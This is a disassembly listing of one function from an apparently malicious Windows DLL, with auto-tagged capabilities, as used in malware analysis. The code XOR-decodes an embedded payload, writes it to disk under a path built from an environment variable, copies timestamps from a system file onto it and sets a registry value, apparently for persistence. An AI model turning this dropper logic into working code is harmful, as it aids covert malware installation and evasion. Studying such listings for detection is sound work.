Function at 0x18000253c
Capabilities:
Encode data using xor
Get common file path
Get file attributes
Query environment variable
Set registry value
Timestomp file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov r13d, 0x21200
lea rcx, [rbp + 0x210]
mov edx, r13d
xor ebx, ebx
call fcn.180002014
lea rcx, [rsp + 0x40]
cmp rcx, rax
je 0x18000257c
mov rbx, qword [rax]
and qword [rax], 0
mov rcx, qword [rbp + 0x210]
test rcx, rcx
je 0x18000258d
call fcn.180054638
xor r8d, r8d
lea rdx, [0x18007e8b0]
sub rdx, rbx
mov rcx, rbx
mov al, byte [rdx + rcx]
inc r8d
xor al, 0xf6
mov byte [rcx], al
inc rcx
cmp r8d, r13d
jb 0x18000259d
mov esi, 0x104
lea rcx, [rbp - 0x60]
mov r8d, esi
xor edx, edx
call fcn.180056d30
mov edx, esi
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movzx eax, word [0x18009fdc8]
xor r8d, r8d
movsd xmm0, qword [str.lAGGV]
movabs r13, 0x8fb823ee08fb823f
mov word [rsp + 0x48], ax
mov al, byte [0x18009fdca]
mov byte [rsp + 0x4a], al
movsd qword [rsp + 0x40], xmm0
mov rax, r13
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x39
mov al, r8b
sub al, cl
add al, 0x30
xor byte [rsp + r8 + 0x40], al
inc r8
cmp r8, 0xb
jb 0x1800025ff
lea r8, [rsp + 0x40]
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.18005b0f4
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x60]
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov eax, 3
mov edx, 0x80000000
mov r8d, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or rdi, 0xffffffffffffffff
mov r14, rax
cmp rax, rdi
je 0x180002694
lea r9, [rbp + 0x218]
mov rcx, rax
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rcx, r14
call qword [0x1800c6bf0]
mov r8, rsi
lea rcx, [rbp - 0x60]
xor edx, edx
call fcn.180056d30
mov r8, rsi
lea rcx, [rbp + 0xb0]
xor edx, edx
call fcn.180056d30
cmp byte [0x18009fddb], 0
movsd xmm0, qword [str.ebwadgyqqu]
mov eax, dword [0x18009fdd8]
movsd qword [rsp + 0x40], xmm0
mov dword [rsp + 0x48], eax
je 0x180002706
xor r9d, r9d
movabs r8, 0x8fb823ee08fb823f
mov rax, r8
mul r9
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x39
mov al, r9b
sub al, cl
add al, 0x30
xor byte [rsp + r9 + 0x40], al
inc r9
cmp r9, 0xc
jb 0x1800026e1
mov r8d, esi
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movups xmm0, xmmword [0x18009fde0]
mov eax, dword [0x18009fe18]
xor r8d, r8d
movups xmm1, xmmword [0x18009fdf0]
mov dword [rbp - 0x78], eax
movabs r13, 0x8fb823ee08fb823f
movzx eax, word [0x18009fe1c]
movups xmmword [rsp + 0x50], xmm0
mov word [rbp - 0x74], ax
movups xmm0, xmmword [0x18009fe00]
mov al, byte [0x18009fe1e]
movups xmmword [rsp + 0x60], xmm1
mov byte [rbp - 0x72], al
movsd xmm1, qword [0x18009fe10]
movups xmmword [rsp + 0x70], xmm0
movsd qword [rbp - 0x80], xmm1
mov rax, r13
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x39
mov al, r8b
sub al, cl
add al, 0x30
xor byte [rsp + r8 + 0x50], al
inc r8
cmp r8, 0x3f
jb 0x180002776
lea r8, [rbp + 0xb0]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x60]
call fcn.180002060
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x60]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov r13d, 0x21200
cmp rax, rdi
je 0x18000299a
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x200]
mov r8d, r13d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rbp + 0x200], r13d
jb 0x18000299a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x60]
xor r9d, r9d
mov dword [rsp + 0x28], eax
mov edx, 0x40000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, rdi
je 0x18000287d
cmp r14, rdi
je 0x18000287d
lea r9, [rbp + 0x218]
mov rcx, rax
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x18009fe20]
movabs r9, 0x8fb823ee08fb823f
movdqu xmmword [rsp + 0x40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800028c9
xor r8d, r8d
mov rax, r9
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x39
mov al, r8b
sub al, cl
add al, 0x30
xor byte [rsp + r8 + 0x40], al
inc r8
cmp r8, 0x10
jb 0x1800028a4
movups xmm0, xmmword [0x18009fe30]
mov eax, dword [0x18009fe58]
xor r8d, r8d
movups xmm1, xmmword [0x18009fe40]
mov dword [rsp + 0x78], eax
movzx eax, word [0x18009fe5c]
movups xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x7c], ax
movsd xmm0, qword [0x18009fe50]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x60], xmm1
mov rax, r9
mul r8
shr rdx, 5
movsx eax, dl
imul ecx, eax, 0x39
mov al, r8b
sub al, cl
add al, 0x30
xor byte [rsp + r8 + 0x50], al
inc r8
cmp r8, 0x2e
jb 0x180002908
lea rax, [rbp + 0x208]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x18000298d
lea rax, [rbp - 0x60]
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000295c
mov rcx, qword [rbp + 0x208]
lea rax, [rbp - 0x60]
mov dword [rsp + 0x28], edi
lea rdx, [rsp + 0x40]
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test rbx, rbx
je 0x1800029a7
mov rcx, rbx
call fcn.180054638
add rsp, 0x2c8
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret